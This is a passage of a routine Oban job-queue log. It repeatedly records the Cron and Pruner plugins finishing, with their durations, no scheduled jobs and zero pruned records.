{"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:56:03.859 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:33.861 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.338 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:57:03.863 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:33.865 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.339 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:58:03.867 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:33.869 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.340 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:59:03.871 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:33.873 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.341 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:00:03.875 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:33.877 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.342 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:01:03.879 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:33.881 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.343 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:02:03.883 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:33.886 [info] {"source":"oban","duration":2141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.344 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:03:03.888 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:33.890 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.345 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:04:03.892 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:33.894 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.346 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:05:03.896 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:33.898 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.347 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:06:03.901 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:33.903 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.348 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:07:03.905 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:33.907 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.349 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:08:03.909 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:33.911 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.350 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:09:03.913 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:33.915 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.351 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:10:03.917 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:33.919 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.352 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:11:03.921 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:33.923 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.353 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:12:03.925 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:33.927 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.354 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:13:03.929 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:33.931 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.355 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:14:03.933 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:33.935 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.356 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:15:03.937 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:33.939 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.357 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:16:03.941 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:33.943 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.358 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:17:03.944 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:33.947 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.359 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:18:03.949 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:33.951 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.360 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:19:03.953 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:33.955 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.361 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:20:03.957 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:33.959 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.363 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:21:03.961 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:33.963 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.364 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:22:03.965 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:33.967 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.365 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:23:03.969 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:33.971 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.366 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:24:03.973 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:33.975 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.367 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:25:03.977 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:33.979 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.368 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:26:03.980 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:33.983 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.369 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:27:03.985 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:33.987 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.370 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:28:03.989 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:33.991 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.371 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:29:03.993 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:33.995 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.372 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:30:03.997 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:33.999 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.373 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:31:04.001 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:34.003 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.374 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:32:04.005 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:34.007 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.375 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:33:04.009 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:34.011 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.376 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:34:04.013 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:34.015 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.377 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:35:04.017 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:34.019 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.378 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:36:04.021 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:34.022 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.379 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:37:04.025 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:34.027 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.380 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:38:04.029 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:34.031 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.381 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:39:04.033 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:34.035 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.382 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:40:04.037 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:34.039 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.383 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:41:04.041 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:34.043 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.384 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:42:04.045 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:34.047 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.385 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:43:04.049 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:34.051 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.386 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:44:04.053 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:34.054 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.387 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:45:04.057 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:34.059 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.388 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:46:04.061 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:34.063 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.389 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:47:04.065 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:34.067 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.390 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:48:04.069 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:34.071 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.391 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:49:04.073 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:34.075 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.392 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:50:04.077 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:34.079 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.393 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:51:04.081 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:34.083 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.394 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:52:04.084 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:34.087 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.395 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:53:04.089 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:34.091 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.396 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:54:04.093 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:34.095 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.397 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:55:04.097 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:34.099 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.398 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:56:04.101 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:34.103 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.399 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:57:04.106 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:34.108 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.400 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:58:04.110 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:34.112 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.401 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:59:04.114 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:34.116 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.402 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:00:04.118 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:34.120 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.403 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:01:04.122 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:34.124 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.404 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:02:04.126 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:34.128 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.405 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:03:04.131 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:34.133 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.406 [info] {"source":"oban","duration":201,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:04:04.135 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:34.137 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.407 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:05:04.139 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:34.141 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.408 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:06:04.143 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:34.145 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.409 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:07:04.147 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:34.149 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.410 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:08:04.151 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:34.153 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.411 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:09:04.154 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:34.157 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.412 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:10:04.159 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:34.161 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.413 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:11:04.163 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:34.165 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.414 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:12:04.167 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:34.169 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.415 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:13:04.171 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:34.173 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.416 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:14:04.175 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:34.177 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.417 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:15:04.179 [info] 